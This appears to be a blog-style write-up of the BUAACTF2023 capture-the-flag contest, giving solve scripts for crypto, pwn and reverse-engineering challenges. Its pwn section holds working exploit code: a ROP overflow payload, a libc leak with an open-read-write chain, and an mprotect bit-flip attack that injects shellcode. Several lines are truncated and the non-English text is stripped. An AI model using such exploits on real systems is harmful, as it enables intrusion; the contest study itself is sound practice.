Contents

— title: "BUAACTF2023 WP" date: 2023-04-26T13:53:31+08:00 tags: ['ctf', 'pwn'] categories: ['life', 'learning'] draft: false cover: "/img/2023-04-26$_{\text{buaactf2023.png}}$" —

1 crypto

1.1 Block Cipher

```
def decrypt(parts):
    iv = b'\xba=y\xa3\xc6)\xcf\xf7'
    key = b'}6E\xeb(\x91\x08\xa0'
    results = []
    for index, part in enumerate(parts):
        results.append(reduce(xor, [part, iv if index == 0 else parts[index-1], key]))
    return results
```

2 pwn

2.1 NLP

pwntools

```
#encoding: utf-8
from pwn import *
p = remote("10.212.26.206", "23004")
```

```
for i in range(20):
    p.recvuntil("A = :")
    a = int(p.recvline())
    p.recvuntil("B = :")
    b = int(p.recvline())
    p.recvuntil("a ")
    op = p.recv(1)
    p.recvuntil("b:")
    if(op == b"+"):
        p.sendline(str(a+b))
    elif(op == b"-"):
        p.sendline(str(a-b))
    elif(op == b"*"):
        p.sendline(str(a*b))

ID_address={"110000":"",
"110100":"",
"110101":"",
"110102":"",
"110103":"",
"110104":"",
"110105":"",
"110106":"",
"110107":"",
"110108":"",
"110109":"",
"110111":"",
"110112":"",
"110113":"",
"110114":"",
"110115":"",
"110117":"",
"110116":"",
"110228":"",
"110229":""
}

def sortinfo(info):
    sortedinfo = [0, 0, 0, 0, 0, 0 ,0, 0]
    for i in info:
```

```
        if len(i)==11 and i.isdigit():
            sortedinfo[0] = i
        elif '@' in i:
            sortedinfo[1] = i
        elif 'http' in i:
            sortedinfo[2] = i[:-1]
        elif i[-1] == '':
            sortedinfo[3] = i
        elif '.' in i:
            sortedinfo[4] = i
        elif len(i) >= 18 and i[-18:-1].isdigit():
            sortedinfo[5] = i[-18:]
        elif 'k-' in i:
            sortedinfo[6] = i
        else:
            sortedinfo[7] = i
    return sortedinfo

def parseinfo(infostr):
    info = []
    for i in range(8):
        infostr = infostr[infostr.find("")+1:]
        s = infostr[:infostr.find("")]
        infostr = infostr[len(s):]
        info.append(s)
    def parse_id(ID_card):
        ID_add=ID_card[0:6]
        ID_birth=ID_card[6:14]
        ID_pdnum=ID_card[14:16]
        ID_sex=ID_card[16:17]
        ID_check=ID_card[17:18]
        if int(ID_sex)%2 !=0:
            sex=''
        elif int(ID_sex)%2==0:
            sex=''
        output = " (: "+ID_address[ID_add]
        output += ", : "+ID_birth[:4]+""+str(int(ID_birth[4:6]))+""+str(int(ID_birth[6
        output += ", : "+sex+")"
        return output
    print(info)
```

```
    info = sortinfo(info)
    print(info)
    output = ": "+info[0]
    output += " | : "+info[1]
    output += " | URL: "+info[2]
    output += " | : "+info[3]
    output += " | IP: "+info[4]
    output += " | : "+info[5]+parse_id(info[5])
    output += " | : "+info[6]
    output += " | : "+info[7]
    return output
# def extra():
#     p.recvuntil("")
#     return p.recvuntil("", drop=True)
p.recvuntil("Sample Ad:\n")
samplead = str(p.recvuntil("Sample Output:\n", drop=True).decode())
print(samplead)
parsedsample = parseinfo(samplead)
sample = str(p.recvuntil("Generated Ad:\n", drop=True).decode())
print(sample)
print(parsedsample)

def parse_ad():

    infostr = str(p.recvuntil("Please", drop=True).decode())

    print(infostr)
    output = parseinfo(infostr)
    print(output)
    p.sendline(output)
    # p.interactive()

# p.interactive()
for i in range(20):
    parse_ad()
    log.success("round"+str(i))
p.interactive()
```

2.2 pirate

rop

```
from pwn import *
p = process("pirate")
p = remote("10.212.26.206", "23002")
p.recvuntil("you and ")
pir_num = int(p.recvuntil(" ")) + 1
p.recvuntil("have ")
gold_num = int(p.recvuntil(" "))
gold_dist = list(range(pir_num+2))
gold_rem = gold_num
for i in range(pir_num, 0, -1):
    v6 = pir_num - i + 1
    v10 = 0
    for j in range(pir_num, i-1, -1):
        if v6 == pir_num - j + 1:
            gold_dist[j+1] = gold_rem
            gold_rem -= gold_dist[j+1]
            v10 += 1
        elif gold_dist[j+1] <= 0:
            gold_dist[j+1]=1
            gold_rem -= 1
            v10 += 1
        else:
            gold_rem += gold_dist[j + 1]
            gold_dist[j + 1] = 0
    if float(v10)/v6 < 0.5:
        break
for i in range(2, pir_num+2):
    p.sendline(bytes(gold_dist[i]))
# p.interactive()
p.recvuntil("something.")
payload = 'a'*16+p64(0x40101a)+p64(0x401236)
p.sendline(payload)
p.interactive()
```

2.3 noshell

orw

```
from pwn import *
p = process("noshell")
p = remote("10.212.26.206", "23001")
elf = ELF("noshell")
libc = ELF("libc-2.27.so")

num = 0x404080
rdiret = 0x401373
# leak
p.recvuntil("~\n")
p.sendline(p64(0))
p.recvuntil("?\n")
payload1 = 'a'*16+p64(rdiret)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(elf.sym['ma
p.send(payload1)
putsgot = u64(p.recvuntil('\x7f').ljust(8, '\x00'))
log.success("puts got: " + hex(putsgot))
libcbase = putsgot - libc.sym['puts']
# p.interactive()

o = libc.sym['open']+libcbase
r = elf.plt['read']
w = elf.plt['puts']

# orw
rspret = 0x396c + libcbase
rdxrsiret = 0x130539 + libcbase
payload2 = p64(rdiret)+p64(num+0x100)+p64(rdxrsiret)+p64(0)+p64(0)+p64(o)
payload2 += p64(rdiret)+p64(0x3)+p64(rdxrsiret)+p64(50)+p64(num+0x100)+p64(r)
payload2 += p64(rdiret)+p64(num+0x100)+p64(w)
payload2 += 'a'*(0x100-len(payload2))
payload2 += './flag\x00'

# p.interactive()
p.recvuntil("~\n")
p.sendline(payload2)
p.recvuntil("?\n")
payload3 = 'a'*16+p64(rspret)+p64(num)
p.sendline(payload3)
p.interactive()
```

2.4 lose yourself

mprotect.text1bitmprotectshellcode
bitexitexitgotexitgot

```
from pwn import *
import binascii
from Crypto.Util.strxor import strxor
context.arch="amd64"
context.terminal = ['tmux', 'splitw', '-h']
p = process("one_chance")
p = remote("10.212.27.23", "12138")

def flip_bit(addr, bitnum):
    p.recvuntil("?")
    p.sendline(addr)
    p.sendline(bitnum)

# call mprotect
flip_bit("404039", "0")
flip_bit("404038", "6")
flip_bit("404038", "7")
flip_bit("404038", "2")
flip_bit("404038", "1")
```

0x10e1shellcodejmp

```
# write shellcode
dump_10e1 = binascii.unhexlify("50 54 49 C7 C0 10 13 40 00 48 C7 C1 A0 12 40 00 48 C7 C
shellcode = asm(shellcraft.amd64.linux.sh())
modi_bytes = strxor(dump_10e1, shellcode)
for idx, i in enumerate(modi_bytes):
    if i != '\x00':
        log.success("flipping "+hex(int("0x4010e1", 16)+idx))
        for j in range(8):
            if 2**j & ord(i) != 0:
                p.recvuntil("?")
                p.sendline(hex(int("0x4010e1", 16)+idx))
                p.sendline(str(j))

# modify jmp
```

```
p.recvuntil("?")
p.sendline("401299")
p.sendline("0")
p.interactive()
```

3 re

3.1 snake

python des

/img/2023-04-26_snake.png

flag des

/img/2023-04-26_desdecrypt.png

3.2 minesweep

/img/2023-04-26_minesweepenc.png

mine7*7‘a’’b’flag7iminei6mine

/img/2023-04-26_minecal.png

mine

```
mine2 = [
    [0, 2, 2, 3, 3, 2, 3],
    [2, 4, 3, 2, 3, 2, 0],
    [2, 5, 3, 4, 1, 2, 2],
    [3, 3, 3, 1, 3, 2, 2],
    [3, 3, 4, 1, 3, 1, 2],
    [2, 2, 0, 3, 4, 2, 2],
    [0, 3, 2, 3, 1, 0, 2]
]
c = "vahii"
for k in range(4, -1, -1):
    temp = 0
    for i in range(7):
        for j in range(7):
```

```
            temp += (ord(flag[i])-97)^mine2[i][j]
    poschr = ""
    for l in range(26):
        if chr((temp^l)%26+97) == c[k]:
            tmpchr = chr(l+97)
            poschr += tmpchr
            break

    print(temp, c[k])
    print(poschr)
    flag = tmpchr+flag

print(flag)
```

3.3 ezvm

1idamalloc0x40ipZFflag

/img/2023-04-26_11e9.png

8

/img/2023-04-26_ezvm.jpeg

xor repwnezvmpwn